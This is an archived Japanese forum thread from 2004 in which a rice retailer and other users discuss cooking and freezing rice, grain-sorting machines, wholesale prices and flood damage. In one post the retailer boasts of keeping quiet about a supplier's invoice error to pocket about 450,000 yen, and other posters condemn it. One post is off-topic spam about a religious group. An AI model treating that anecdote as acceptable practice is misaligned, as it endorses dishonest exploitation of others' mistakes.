そういう藻米さんは米を量ったことあるの?
米を軽量カップで量るのって、同じ容器でも人によってバラバラよ?
同じ擦り切れで量っても微妙な違いが出る。
>>80は毎回一定に出来ずに困ってるようだから
容積で量るのではなく重さで量ることを提案したのだよ。

1.5合カップを探してないんだから、0.5合カップもなかったんだろうよ。
それを踏まえて皆はアドバイスしてるんじゃない?
あんただけだよ、ロクに文も読まずに面白いこと言ってるの。

102 :頼りない米屋:04/07/18 09:45
>>99
落としてますねぇ(w
うちも今や昨年同月より在庫がありません。
持ってるのは9月末まで使用予定の13年福島初星のみです。
あとはもう毎週分を積み合わせでバタバタ取るだけで。
今年は重い卸が多いから、お互い面白いショーバイ出来そうですね。

103 :もぐもぐ名無しさん:04/07/18 21:45
>78 :頼りない米屋 今回の水害は気の毒でした。明日も新潟は危ないって話もありますよね。
今の所、小千谷・栃尾の良質米地帯が痛いが魚沼じゃないから、まぁねぇ。

頼りない米屋さんの姿勢を見たみたい
口先だけで、今回の水害は気の毒でした。と、言っておられますが、
本質は、今の所、小千谷・栃尾の良質米地帯が痛いが魚沼じゃないから、まぁねぇ。
魚沼以外なら被害にあってもいいの?


104 :もぐもぐ名無しさん:04/07/19 00:11
ササニシキは、やっぱ売れてないのかね・・・
漏れはコシヒカリ系より好きなんだけどなぁ。さらっとした味が小気味よくてね。

105 :もぐもぐ名無しさん:04/07/19 00:32
>>103
下手な煽りだな。もう少し工夫しろよ。

106 :もぐもぐ名無しさん:04/07/19 04:42
>>103
商売人としてはそんなもんでしょ?

107 :もぐもぐ名無しさん:04/07/19 08:15
>105
煽りと見ますか・・・

108 :もぐもぐ名無しさん:04/07/19 14:43
>>103
藻米さんの言いたいことは分かるがね。
>>105が言うように、商売人としてはこんなもんかと。
被災地の方は気の毒に思うけど、(同等、あるいはそれ以上に)米のことも気になる。

頼米の言いたいことも分かるけどね。確かに誤解を生む書き方だね。
今まで、散々言葉が足りなくて突っ込まれてきたのに、
まだ繰り返すとこが粘着を生む原因なんだろうなぁ。

あ、>>103が粘着だって言ってるんじゃないよ。
まぁ、気分を害することもあるだろうけど、スルーした方が気楽だよってことさ。
そのうち慣れる w  マターリ行こうぜ(・∀・)

109 :もぐもぐ名無しさん:04/07/19 15:24
>>108
とても良いレスですね。
103さんに近い感想を思ってロムしている方もいらっしゃると思いますよ。
私も以前少し批判的なレスをしたら同調的なレスをされた方が同一人物と
思われ、ひどいレスを付けられ、堪らず名乗り出た事があります(・∀・)

110 :もぐもぐ名無しさん:04/07/19 22:17
う〜ん
頼りない米屋さんって、 ご自分が優位のときは思い切り発言されていますよね
ご自分が、劣位、反論できないときは無視
以前は、このHPは閉じたい、いつ閉めてもいいんだ!!
皆さんの声援で、再開しています

皆さんの意見は関係ないと思います
ご自身の意識の中で、継続したいのか中止したいのかだと思います

ひょっとして、頼りない米屋さんて何人も居られるのでしょうか?
それなら、本物の頼りない米屋さんに謝らせていただきます



111 :もぐもぐ名無しさん:04/07/19 23:42
>>110
「このHP」って、何のことだ?

112 :もぐもぐ名無しさん:04/07/20 02:29
>>110
>ご自分が、劣位、反論できないときは無視
一日出てこないだけでそういうこと言う奴って、ネットしかやってないのかって聞きたくなる。

頼りない米屋が、今日(正しくは昨日)休みかしらんが、仕事場からネットやってるって言ってたから、
休みだったら来なくて当然なのにね。で、昨日は世間一般的には休みなんだが。

113 :もぐもぐ名無しさん :04/07/20 06:44
…確か月曜日は休みだったよね。

しかし、何を求めてのカキコかな?
スレ主の言葉足らずとも取れるカキコもあったけど、
「災害地域に行ってボランティアしてきます」とでも言えば満足?
冒頭で「今回の水害は気の毒でした」って述べてるし、
実際他地域に住んでる一般人としては
「ホントに大変だろうケド頑張って」って思うのが精一杯では。
その上でコメの出来が気になるのは商売上仕方ないんじゃ。

114 :頼りない米屋:04/07/20 09:25
朝来て見たら、どうやら私の事で大変になってますね。
あまり「後言い訳」はしたくないが試みましょうか。
休み明けで少し忙しいので今日中に。

115 :もぐもぐ名無しさん:04/07/20 09:55
古米を薬やゼラチン使って炊いている外食店のリストがほしいです。
プロピレングリコールもやだけどゼラチンはあれるぎーが

116 :頼りない米屋:04/07/20 14:20
1)私のスタンスは変わっていません。
ここは米に関する質問回答スレ。それに関して冷静な回答をしています。
例えば「新潟の災害が収穫に及ぼす影響は?」と問われれば、
念の為冒頭に「気の毒に」と付けますが、それ以上の話は別スレでしょ。
後は冷静に米に関して収穫と価格両面の回答をしたまでです。

2)ここは2ちゃんねる〜スレ主
スレ主として荒れないようにコントロールはします。だが無理ならスルーです。
それが「都合悪くなると無反応」の所以かもしれませんが、無理を言いなさるな。
私の回答への反論なら大歓迎です。

3)ここは2ちゃんねる〜米販売業者として
私がこのスレ立てて早3年。正直疲れました。消耗しました。代わって欲しい。
誰か同業者で「我こそは」居たら大歓迎します。私、落ちてもゲストでも良い。
当初の目的の1つにうちのHPにQ&A開設前の練習ってのがありました。
実際やってみて大変習熟したと思ってますが、同時に開設は危険だと判断しました。
最近のネットでの発言や流れは重要度も増す一方、一つの意見に流される危険な
風潮もあり、まだまだ定着していないのか?あるいは昨今のモラル低下なのか?なんて
話もうなずくばかりで、開設は延期です。






117 :頼りない米屋:04/07/20 14:21
4)ここは2ちゃんねる〜皆さんから見て
逆の見方として皆さんから見ての話。
もし私が自身の商売用HPに開設したら、ここまで本音を語らないでしょ。
ショーバイですから私にとって都合の良いマインドコントロールで信者を増やします(w
そんなつまらないQ&Aなんてどうでも良いし胡散臭いでしょ?

5)私もただの人間です。
発言のブレはあります。仕事に疲れていたり、神経使いすぎてご機嫌が悪かったり
時間経過と共に絶えず変化する状況で意見が変わったり・・ありますわな。
ま、神様じゃないわけで(w あるいはこれこそに金取るんなら(商売)別ですが。
(あ、これが荒れる元の発言ってのは重々承知で言っている冗談です)
まぁそれも承知で楽しんで下さいな。


118 :もぐもぐ名無しさん:04/07/20 15:33
冷凍ご飯が硬くて不味いです。どこかマズいとこあったら指摘お願いします。

一度に炊くのは3合。無洗米使用で計量カップは無洗米用のものを使用。
食べきれないものをジップロックコンテナに詰めて冷凍庫へ。
食べたくなったら冷凍庫から出し、蓋を取り電子レンジの解凍ボタンを押す。

炊きたては普通に食べれるので冷凍〜解凍の過程に何か原因があるのだろうか。

119 :頼りない米屋:04/07/20 16:11
>>118
レンジ冷凍〜解凍にもテクニックはあります。
細かく言うとプロ的に色々あるでしょうがキモだけ簡単に述べます。
米を冷凍する過程で表面の水分はもちろん、中の水分一部表面に出て凍ります。
取り出した時に霜に覆われているのが、それです。
それこそがキモで、その水分も含めて炊き上がったばかりの適度な柔らかさなのです。
つまり解凍する時にその水分を上手く米に取り込まないとパサパサになります。
通常ラップや貴方のようなジップロックコンテナで充分。
さらに過熱時間を多く取ると、袋を開けた瞬間から蒸気が立ち、水分が抜ける。
これを防ぐには解凍過熱時間を多く取り過ぎない時間調整が1つめ。
プロはそれを見越して霧吹きで解凍前に抜ける分の水分を入れておく。
そしてほぐす。
しかしそれを完璧にやっても、解凍ご飯は何故か水分が抜けやすく
炊きたてご飯よりも早くパサパサになるのが難点です。
理由は分かりません。
細胞膜内の水分が・・・なんて何処かの番組で言ってたような・・


120 :頼りない米屋:04/07/20 16:14
あそか、もう一度文章読み返して気が付きましたが
蓋を開けてレンジ解凍するのが水分が飛ぶ一番の原因かも。
閉めてやれば?爆発するほど過熱しちゃいけないよ。



121 :もぐもぐ名無しさん:04/07/20 18:04
>>118
解凍に問題あり。
ラップでくるみ密閉状態で解凍あたためすればよい。
かえって炊きたてより美味しく感じるかも。
ラップなら、ふくらむだけで爆発はしない。
解凍あたため時間は工夫しよう。
たいそうな名前のコンテナーは要らない。
スーパーで貰えるポリ袋で代用可。
一食分を袋に入れ冷凍 解凍して食べる。

122 :もぐもぐ名無しさん:04/07/20 19:16
やわらかめに炊いたほうが、冷凍→チンの時はうまいと思う。

123 :もぐもぐ名無しさん:04/07/20 20:42
>>118
解凍より温めで一気にやっちゃった方がいいと思うよ。
頼りない米屋さんも言ってるけど、この場合、加熱時間がキモになる。
さらに、冷凍する量も関係あるかも。
多すぎると、均一に熱が伝わらないのでNG。少なすぎると水分が逃げやすい。
最後に、ラップに包んで冷凍が吉。
解凍する時に水分が逃げにくいのと、保存するときに平べったくできる。
これは、熱が均一に伝わりやすいようにするため。

124 :もぐもぐ名無しさん:04/07/20 21:20
>118 食べきれないものをジップロックコンテナに詰めて冷凍庫へ。

ごはんが熱い間に、ジップロックコンテナに詰めて蓋をしていますか?
ラップでもそうなのですが、熱い間にラップをしないとだめみたいです
冷めてから、ラップや密閉容器に入れると水分が飛んでしまって、うまくチンできないようです
熱い間に水蒸気も閉じ込めておくとうまくいくようです
もちろん、冷凍庫に入れるのは冷めてからですよ


125 :もぐもぐ名無しさん:04/07/21 02:32
お寿司が大好きなので スーパーの特売日に買い溜めして
ラップで密封・冷凍しているのですが 自然解凍だとどうしても
ご飯がパサパサで固くて美味しくないです。

生のお魚だから レンジでチンする訳にもいかないし
http://www.kiyari.co.jp/kinds.html のような商品を
買う程でもない。。。
冷凍ご飯を温めるのは出来ても 常温で食べたい場合
どうしたらよいのでしょうか?

126 :もぐもぐ名無しさん:04/07/21 02:45
米を研ぐ際に米に水を注ぐと何粒か浮き上がってきますよね?
あれは研ぎ汁と一緒に捨てた方がいいのでしょうか?
いつも勿体無いから、こぼれないようにしてはいるのですが・・・
因みに玄米を食べてます

127 :もぐもぐ名無しさん:04/07/21 07:50
>>125
お寿司を作りましょう。
寿司酢を作っておけばすぐに出来ます。
>>126
流しましょう。
虫食いなどで中身が充実してないから浮くのです。

128 :126:04/07/21 13:22
>>127
有難うございます
今までずっと食べてました・・・

129 :頼りない米屋:04/07/21 16:28
毒って訳じゃないからご安心を

130 :頼りない米屋:04/07/21 19:15
【新米情報】
減農薬無化学肥料栽培天皇陛下献上米 銀座O越販売物
宅急便仕入れ 鹿児島こし 21000円(月末着)

普通栽培物少ロット)
鹿児島こし 17300円(今週着)

131 :もぐもぐ名無しさん:04/07/22 00:30
玄米を研ぐ場合、ちゃんとした粒でも浮く場合がありますよ。
指でちょんとつついてやって沈めば大丈夫だと思いますけど。
まぁ浮いたとしても頼りない米屋さんの言うとおり毒じゃないから大丈夫。

ところで昨日、裾用に玄米を発注したら、14200で栃木コシ未検が来ちゃいました。(今までは混載で15,000)
困ったことにこれがうまいんですよ。
低価格ブレンド用(5kg1,980込)なのに、うちの主力商品の小町やひとめ(同2,680込)と
炊き立てなら味は同等かそれ以上で極端に安い。
これじゃお客さんが安い米に流れてしまふ。(汗)
むつと混ぜようかと思ったけど、むつのルートは15,400なんだよねぇ。
わざわざ高い米を混ぜて味を落とすのも・・・
業務用のお客さんは喜ぶだろうけど。。。うーん。
まじめに悩んでます。



132 :もぐもぐ名無しさん:04/07/22 05:52
>>131
期間限定ってことで安く売って、リピーターにつなげればいいじゃん。

133 :もぐもぐ名無しさん:04/07/22 08:57
先日、農家から直接買った未開封の玄米を見たらコクゾウの楽園になってました。
で、なんとかすべて取り除き、色の薄くなった虫食いスカスカ粒をなにげに
指で潰してたんですね。そしたら、ブチってな感触が・・・。
虫食い(過去形)もあれば、当然虫食い(進行形)もあるわけで。
毒ではないだろうけど、それは食いたくないですよねぇ。虫入りだもの。

ちなみに、こいつも虫食い(過去形)同様、色やや薄めで少し膨らんでました。
試してないけど多分水に浮きます。

134 :もぐもぐ名無しさん:04/07/22 09:19
昨日、新潟コシ22、750円で入荷しました。
去年からの口約束と言うことで、うちの社長は今頃こんな値段で買ってます。
やっぱり去年からの口約束でも買わなきゃならないんでしょうかね?


135 :もぐもぐ名無しさん:04/07/22 09:39
>>133
精米するなら歩留まりと風味が少し落ちるだけですけど
玄米を食べてるなら抵抗有りますよね。

生産者持ち込みの玄米サンプルが夏場なのに虫食いナシ・古米臭微少なので引き取りにいったら
玄米保存ブリキ缶の中にバポナ殺虫プレートを吊してあって、手ぶらで帰ったことがありました。
「ウチはコクゾウ対策は万全だよ」と言われても困る罠
しかし蒸散殺虫剤の浸透した米を食べ続けて大丈夫なんだろうか?

136 :頼りない米屋:04/07/22 13:11
>>134
今後の取引の継続を考えれば要引取りでしょ。
無い時高い時にお願いしておいて、事情が変わったら横を向くのも
「あり」っていえば「あり」だが・・・・どうだろう(w
きっと00俵必ず買うからって価格決めたんじゃないの?

>>135
>蒸散殺虫剤の浸透した米を食べ続けて大丈夫なんだろうか?
当然んなことないですわな(w
私、減/無農薬・肥料を得意としてるから結構調べたが
結局どんな薬品も多かれ少なかれ無害って事は無い。
「今は認可までにかなり調べてから」なんて言ってるが
今までの例では認可後に害が出てから「後追い不許可」がほとんど。
ましてやバポナだからねぇ・・(w


137 :頼りない米屋:04/07/22 15:59
笑い話を(つか私もワルだねって話)
某産地の卸から3月に減農薬米を20俵購入。
伝票を良く見たら桁が1桁少ない。25000円が2500円。
普通なら連絡してあげるが、そこの担当嫌いな奴なんで放っておく。
支払う前に卸の決算が来る。残高証明にはちゃんと安い請求。
もちろん印を押して郵送。その後支払い日に振込み。
何もせず450000の利益が残る。これでうちの今年の赤は埋まっておつりが(w
さらに後日。
その卸の担当が、その米在庫が底を突いてどうしても9俵返してと電話が。
担当が車で3時間掛けて取りに来る。返品伝票には25000×9俵・・・(w

138 :もぐもぐ名無しさん:04/07/22 16:17
プラッシーは配達できるんですか?

139 :もぐもぐ名無しさん:04/07/22 16:35
統一教会 17000人の日本女性をだまし外国に売り飛ばす↓

韓国よ、私の姉を帰せ。(自殺者多数)
http://jbbs.shitaraba.com/bbs/link.cgi?url=http://natto.2ch.net/ms/kako/1003/10039/1003978299.html





140 :夜ナニー:04/07/22 20:13
>>138
昔配達してましたよ。
夏は月50〜100ケース売ってました。
確か4〜5種類あったっけ。
オレンジ、アップル、レモンスカッシュ・・・あれ、思い出せない。
1本60円。瓶10円。ケース200円。
最初は1880円かかるが、瓶とケースを返せば1440円で買えるので結構リピートがあったんだよね。
まだ消費税が無いころの話です。ハイ。

今は扱ってません。
以前タケダに問い合わせたらあんまり売る気が無いような対応だったのでやめました。


141 :もぐもぐ名無しさん:04/07/23 16:43
>>137
いつの話かわかりませんが、最近の話ならその45万円は使い込まずに
現金で持っておかないと駄目ですな。
伝票チェックしただけで違算がわかりますからね。

142 :もぐもぐ名無しさん:04/07/23 17:35
新潟産コシヒカリ、今後は値上がり傾向になるのですか?
気になるのは、産地ごまかしてブレンドされてマズクナル事

143 :もぐもぐ名無しさん:04/07/23 19:50
>>142
今現在も、そして秋からの新米に変わっても値下がり傾向は続くと見ます。
新潟産コシヒカリだけは少し特殊な動きになるでしょう。
全体が値下がりする中、今現在の価格を維持するか、やや下げで止まるでしょう。
そして新米入荷で(ほんのわずか値上がりするかも)価格を維持し
そのまま来年までずっと維持すると思います。
つまり全体が下がる中、一人旅で価格維持になる可能性が強いと思います。
この遠因に先日の被害も上げられると思います。

144 :もぐもぐ名無しさん:04/07/23 19:54
ミルキーウェイが甘くて美味しかった
あれの適正価格ってどれぐらいだろう

145 :もぐもぐ名無しさん:04/07/23 19:58
みなさんのところは選別機は何使ってますか?
うちはカラーマスターなんですけど、イマイチです。
やっぱしマジックソーターですかね


146 :もぐもぐ名無しさん:04/07/23 20:07
>>142
>産地ごまかしてブレンドされてマズクナル事
この価格傾向が、おっしゃる事を引き起こすとは思いません。
今は通常JASが怖くて仕入が上がれば連動して価格も上げるけど
中身は常に100%ってのが米屋の意識です。
ただし米屋・卸・農家どれをとっても川下から川上まで
一定の比率でワルは居ますから・・・
「1を見て10を知る」みたいに考えないでくれると私はありがたい。

147 :もぐもぐ名無しさん:04/07/23 20:13
>>144
ミルキーウェイってミルキークイーンの間違い?
それともミルキーのブレンド米の商品名かな?

>>145
うちはマジックソーターです。
ただしその上に20年位前の初期型選別機(名前忘)
置いた2連です。

148 :もぐもぐ名無しさん:04/07/23 20:14
平成15年産の大分竹田こしひかり5k2098
あまり大分産ってのは聞いたことが無かったんだけど、
ここの産地のこしひかりって例えば新潟産のと比べて
味はどうなんでしょう?
いままでは新潟産のを愛用してたんですが・・


149 :もぐもぐ名無しさん:04/07/23 20:47
>146

あなたのお店が正直に商売をしていても、生産者が混ぜ物・農協が混ぜ物・卸が混ぜ物、これってありえる構図だと思いますが・・・
穀物検査官が不正や間違いを犯しているし、JAS確認団体が不正をしている
現在、信用できるお米を販売するには、自分で生産しないとだめでは?

150 :もぐもぐ名無しさん:04/07/23 21:03
>>146
逆に、信頼できるお米屋さんの見分け方って何?


151 :もぐもぐ名無しさん:04/07/23 22:24
三重のコシは新潟に食味が似てるから、新潟の人がよく買いに来るみたいですね。
見分け方というか、自分の納得できる価格・味の米を提供してくれる米屋を探すことです。

因みに、(現在は不明ですけど)JASのチェックが厳しかったときは大手問屋の卸してるスーパーの方が
混ぜてる可能性は低かったかな。ただ、3等とか規格外のが大量に入った米だけど。


152 :もぐもぐ名無しさん:04/07/23 23:10
>>147
やっぱりマジックソーターがいいですか?導入考え中です。
2連にしているって事は、マジックソーターでも多少は被害粒が残りますか?
もしくはお勧めの選別機ありますか?

153 :もぐもぐ名無しさん:04/07/24 08:37
混ぜ物って、多品種とのことですかね?

154 :もぐもぐ名無しさん:04/07/24 13:25
>>152
規定の流量以上を使ったり、
着色規格外を使ったり、もち米の中のうるち選別を使ったりすると
能率が落ちるからね。
あと、メンテを怠って放っておいても能率が落ちるでしょ。
それに前の選別機も1次荒選別に使えば充分使えるからね。

155 :夜ナニー:04/07/24 17:10
>>145 >>152 >>154
なんてタイムリーな!
実は私もマジックソーター導入検討中。
今のところ私もカラーマスターなんですけどね。
お客さんの要求するレベルが年々高くなって来て(主に業務用)、
>>145さんと同じく『やっぱマジックソーターじゃないとだめかなぁ。』
なんて思ってたんですよ。
カラーマスターとの2連にしようとか、夢は膨らむのですが、
ラインの工事を入れればおそらく1本飛んじゃいますからまだ買えずにいます。
そんなときにこのレスですわ。
うーん、まずは見積もりとってみようか。

明日の朝起きたら枕元にあったらいいんだけどなぁ。えへへ・・・。

156 :田舎の米小売:04/07/24 18:26
サタケかぁ、いいなぁ。うちは付き合い上某メーカー一筋だからうらやましい。
サタケは小回り利く(本体設置の自由度が高い)もんなぁ。

信頼できる米屋っていうか、
質問、要求にきちんと答えて(応えて)くれるとこが一番じゃないかなぁ。
うちなんかはそういう風になりたいと勉強してるつもりだけど、
社員全員が目標レベルになるにはなかなか大変で…模索の日々です、はい。


157 :もぐもぐ名無しさん:04/07/24 18:44
>>152>>155
新型マジックソーターのメーカーの展示品や新古品無いか?と聞くべき。
私は前者を30%引(工事費込)で導入しました。
だって10年は使うんだからねぇ。
言ってみたらどうでしょう。「探せ!」とか。
販売店も結構ずるいよ。単価が高いほうが儲かるからねぇ。

158 :もぐもぐ名無しさん:04/07/24 20:36
>>143
>>147
>>154
>>157
はスレ主さんと思われますがいかがですか?
近くのスーパー
産地精米仙北あきたこまち 10kg 4480円税込み15年産
一時より600円高くなった。
米安売りでで客引きするスーパーが開店したので
売り上げは落ちたみたい。
ダイエーも今週は茨城こし 10kg3980円税込み15年産
米びつに10日分しかない。

159 :もぐもぐ名無しさん:04/07/25 00:23
>>158
>はスレ主さんと思われますがいかがですか?
言われてみれば、そんな希ガス。けど、別にいいんでね?

で、そのコマチ一時より600円高くなったってことは
前は10Kで3880円だったの?
15年産でそ?いくらなんでも安すぎると思うんだけど。

160 :頼りない米屋:04/07/25 08:33
>>158>>159
すまん。その通りです。
別なデスクのPCから入ったんでコテハン書き込み忘れてました。

161 :頼りない米屋:04/07/25 08:42
ちなみに話はそれるが
私が普段使いしてたVAIOノートが逝ってしまった。
購入から5年以上。98(初期型。セコンドじゃないよ)
パソコン屋に言わせると良く持ったなと・・・(w
98PCとXPPCの共有化に奇跡的に成功してたのに。

162 :もぐもぐ名無しさん:04/07/25 09:34
>>159
スマソ 税込み3980円4月18日購入だった。
15年産産地精米。
その店では定番商品。


163 :もぐもぐ名無しさん:04/07/25 20:23
お米屋さんって
何かこういう病気になりやすいという様な
職業病ってあります?
米袋抱えるから腰やられやすいとか、
精米時に粉が舞い上がるから肺がおかしくなるとか・・・・・

164 :もぐもぐ名無しさん:04/07/26 01:35
>>163
うちの近所の米屋さん、補聴器付けてますが、
精米と脱穀の音がすごいので職業病みたいなものだと言ってます。

165 :もぐもぐ名無しさん:04/07/26 01:39
腰とか、帳簿つけてる際の肩こりとか。

166 :夜ナニー:04/07/26 12:04
>>165
私ゃ米屋なのに米ぬかアレルギーで参ってます。
ぬか室にいけば猛烈なくしゃみや目のかゆみ、のどのイガイガ感に悩まされ、
腕や首筋は真っ赤になったりじんましん状になり痒くなります。
何度この仕事から逃げたくなったかわかりません。

>>165さんの言うように、腰痛(米屋に限りませんが)、肩こりに悩まされている米屋さんは多いです。

167 :もぐもぐ名無しさん:04/07/26 13:04
俵かつぎが自慢になったのはいつ頃までですか?
地面からヒョイとかつぎ上げるとか。

168 :152:04/07/26 17:54
聞けば聞くほどマジックソーター欲しいです。でも、昨日調べたらカラーマスターの減価償却がまだ終わっていない・・・
0.5tタイプを狙っているんですが問い合わせたら300〜350万でした。

カタログにある、不良品中の整粒の混入率は20%程度になるってのは事実ですか?過大広告ではないですよねえ


169 :頼りない米屋:04/07/26 18:48
>>168
>不良品中の整粒の混入率は20%程度
えっとですね、メーカーの初期設定にすると、だいたい20%でしょ。
だがね、この設定はかなり敏感で普通の自主米なら
もっと数値を落としても全然OKなんです。
すると混入率は10%以下でしょうね。
未検査100%なら初期設定に戻すが、未検査50%位までなら充分ですよ。

170 :もぐもぐ名無しさん:04/07/26 19:08
>不良品中の整粒の混入率
は限りなくゼロに近づいて当然と思いますが
20%も混入してもよい成績なんですか?

171 :頼りない米屋:04/07/26 19:24
>>170
そうです。
何故なら、その前提として良品に入る不良品率が最優先で
その混入率が0.001%(だったかな)目標ですから。
目的はそこにある。
だから感度を上げて不良品中良品混入率は、そんなもん。
機械モンだからね、所詮。


172 :もぐもぐ名無しさん:04/07/26 19:26
米俵入りのお米って手に入るの?


173 :もぐもぐ名無しさん:04/07/26 20:08
>>169
ありがとうございます。そこまで混入率が低いならその分だけでもかなりのコストダウンできそうです。
ちょっくら検討してみます。

174 :もぐもぐ名無しさん:04/07/26 21:24
>>137
頼りない米屋(スレ主)の本質がみえる不快なエピソードだ。
こういった根底の部分って取り繕っても必ず節々にあらわれるからね。
こんなヤツと付き合ってる問屋そしてなによりもお客様はかわいそう

175 :もぐもぐ名無しさん:04/07/26 21:55
>>174
アレにはみんな呆れてレス付けてないんだし(一つは付いてるけど)
それ見たらスレ主も失敗したって気付いてるでしょ。

176 :sage:04/07/26 22:42
スレ主ってそこそこの年齢でしかも経営者なんでしょ?
人格 いやいや神経を疑うよ
自慢気に晒してるあたりにさらに寒いモノを感じる

これじゃ 不正表示など朝飯前のわけだ

177 :もぐもぐ名無しさん:04/07/27 06:13
名前にsage入れるやつに噛み付かれてもなぁw

178 :頼りない米屋:04/07/27 10:08
>>174>>175>>176

要参照>>116>>117以上です。

179 :夜ナニー:04/07/27 18:43
今日も暑かった。ふぅ。
午後、忙しいのに農政事務所に付き合わなきゃなんなかったからストレスたまるたまる。
個人的にはナイスな人もたくさんいるんだけど、相変わらずのお役人もいっぱいいますな。
でもね、『こんにちわ』ぐらいは当たり前の常識として言えるようになってほしいね。

今日は高い米がたくさん売れたのでキューっといっぱい行きたいとこだけど
仕事がはかどら無かったんで残業です。
チクショー!


180 :頼りない米屋:04/07/27 19:36
>>179
ごくろうさまです。
脳性事務所も昔気質?の人がまだまだ居ますね。大変です。

ところで今年は量は取れるだろけど関東以西は(昨年を除いて)
毎年恒例の高温障害ですねぇ。「またかいな」って感じ。
白いのが混じると「お宅の米は混ぜてる」「悪い米」「もち米?」とか
また今年も言われるんだろうなぁ。面倒だ(w

181 :もぐもぐ名無しさん:04/07/27 21:00
>180 :頼りない米屋
脳性事務所も昔気質

典型的な2チャンネラー?
良識ある大人が農政事務所を脳性事務所なんて
2ちゃんねるに染まりすぎ、スレ立てる度にやめてもいいって言っておきながら、みなさんがやめるなって言うから・・・
このスレだけですよ 次はどなたかお願いします 発言
耳タコ 聞き飽きた

>178 :頼りない米屋 私のスタンスは変わっていません。
結構変わってるよ
言ってることが二転三転
中途半端やな〜ぁ
最初から見ているものにとっては、前のスレではこう言ってたのじゃ・・・
が、多く見受けられます
君子豹変す かな?


182 :もぐもぐ名無しさん:04/07/27 21:03
夏休みの時期になったんだねえ(しみじみ

183 :もぐもぐ名無しさん:04/07/27 21:10
ほっかほっか亭と吉野家のブレンド米、
調合割合と炊き方のコツを教えて下さい、お米屋さん。

184 :もぐもぐ名無しさん:04/07/27 21:13
質問つづきですいません。
お米屋さん、教えてください。

【背景】
家庭用攪拌式精米機で、玄米を精米して、毎日おいしく食ってます。
タイマー予約で浸水させてましたが、暑くなると水が腐敗しやすく困ってます。
モミを取ったら、少し良くなりました。

【質問】
モミまで精米できる、家庭用精米機はありますか?


185 :もぐもぐ名無しさん:04/07/27 21:14
>180 :頼りない米屋
関東以西は(昨年を除いて)毎年恒例の高温障害

頼りない米屋さんが関西の方だったらごめんなさい
関東の人ってひのひかり買い出したの去年ぐらいからじゃ・・・
高温障害で白いのが混じているの承知で、買い漁ったのでは?
そのおかげで、関西の人間が迷惑しているんですよ


186 :もぐもぐ名無しさん:04/07/27 21:18
某ドラッグストアで米担当なんですけど、米をきれいに並べますよね?
店長は米をなでるようにならして並べろというんですけど、店長と仲の悪そうな副店長は
ぺちぺちたたいてならせっていうんです。
気分的にぺちぺちたたいて米を並べたくないんですけど(農家の皆さんごめんなさいって気分になる)
お米屋さんではあのきれいに並んだ米、いったいどうやってならべているんですか?
私としては(副店長嫌いだし)なでて並べたいんですけど。

187 :もぐもぐ名無しさん:04/07/27 21:32
>>186
うちは叩きます。昔、社長はそれで30段ぐらい重ねていてビックリした。

>>185
ヒノヒカリは来年からはまた神明に堰き止められて中部以西には殆ど流れてこなくなる気がします。

188 :もぐもぐ名無しさん:04/07/27 21:35
>>187さん、そうでしか・・副店長のいいなりにならなければいけないのか・・
たたいて米粒ってくずれないんですかね?それにしても30段ってすごいですね。
あたしなんか途中で曲がっちゃう。5キロの米は8段まで積むことになってるんだけど、
7段くらいからもうあやしい。これって心のゆがみかとおもっちゃう。

189 :もぐもぐ名無しさん:04/07/27 21:37
>>175
気付いてないじゃん。
それどころか開き直ってるよ
下手したら犯罪を犯してるのに。。。


190 :ただ今精米中 ◆hebglziyis :04/07/27 21:44
君子豹変、大人虎変

夏の米屋は精米熱でとっても暑いですね。同業の方々、ご苦労さまですm(__)m
関東産は高温障害必至でしょうね。シラタは目立つからね。

ビタビタ叩かないと綺麗に陳列できないよ!私は毎日25段積みですよ、10`袋を。

191 :もぐもぐ名無しさん:04/07/27 22:37
う〜ん、叩かないでも平らにはできるんだけど
文章で上手く表現できない w
けど、やっぱ少しパンパンと叩いてやると、キレイに簡単に均せるね。

ウチは30kg袋13段が限界。小さい店だから、これで天井スレスレくらいね。
さすがに、これだけ積むと歪んでたらヤバい。一度、崩れてきて下敷きになったことがあるよ w
10kg袋や5kg袋は、そんなにたくさん積まないです。各アイテム4〜5個かな。
だって、そんなにたくさん売れないし T T


192 :もぐもぐ名無しさん:04/07/28 02:01
>>181
わざとか誤変換かわかりもしないのに良く噛み付くねぇw
あ、あと、普通に句読点位打ってくれ、読みづらい。携帯ユーザ?

>>185
関西の米は「ひのひかり」だけか?
というか、>>181=>>185でしょ。文章の癖が同じ。


193 :もぐもぐ名無しさん:04/07/28 08:33
きのうタイのジャスミンライスを買ってきて、
カオパット バイ クラパウ を作ってみた。
すごくおいしい米ですね。
ポップコーンの香ばしい香り、真っ白な炊きあがり、
コシのある歯触りに感激。
インディカライスはほかにどんなものが日本で
手にはいるのでしょうか?

194 :頼りない米屋:04/07/28 08:52
>>188
たぶん米屋は全員?叩いてならすんじゃないかな。
仕事として効率良いし、見栄えもピシッと綺麗に見えるし。
コツは中の米が割れないように強く5回叩くなら
優しく10回叩きなさいとバイトには教えていますよ。

>>188
同意!!!!(w
確かそれで今年の正月もGWも面倒で引っ込んだんだ。忘れてました(w
もうそんな時期なんだ・・・

195 :頼りない米屋:04/07/28 08:59
昨日入荷した福島中通こしひかり15300円100俵に
会津が約半分混じっているのが判明。
連絡したら面倒だからOKとなった。
だが・・・仕分け積み直しが暑くて・・・(w
今日バイトの高校生2人にやってもらおう。
ちょっと嬉しい。


196 :頼りない米屋:04/07/28 09:07
こしひかりの在庫放出は産地段階では峠を越しましたね。
もちろんまだまだ持っている所もありますが。
ですが全国に散らばった流通在庫はまだまだ沢山残ってるはず。
これからの供給源はそっちへ移るだけ。
ただ広く浅くでスポット放出ですから探すのに面倒なだけですね。
11〜3月苦労した業務用米の利益を7・8月で取り返さなきゃ(w

197 :ただ今精米中 ◆hebglziyis :04/07/28 09:40
 ただ今、米積み中。
業務用Bランク150袋(25段×6列)を。

ウチでは先週、会津ひとめ150俵中に減減ひとめが三割ぐらい混載されてましたよ。今年の福島、作柄は良いのかな?

198 :頼りない米屋:04/07/28 10:30
>>197
私の得た情報によると今の所良いみたいですよ。
梅雨時に前線が停滞してたおかげで水は充分。
梅雨明けも関東以西より適度に遅れてちょうど良く
高温障害の発生も今の所無く、水枯れの胴割れは心配無し。
この調子なら全国最高の条件がそろった地域の一つになりそう。
問題は酷暑の影響で最高気温よりも最低気温が25度以上が続くと
高温障害になりやすく、そこだけ注意すると良いよ。

199 :頼りない米屋:04/07/28 17:35
千葉こし検査1等160俵13900円
 同      80俵14100円
 同      10俵14400円
本日ただいま入った売り込み。これには本当に驚きました。

200 :もぐもぐ名無しさん:04/07/28 18:16
200おめこ券げっつ

201 :もぐもぐ名無しさん:04/07/28 19:22
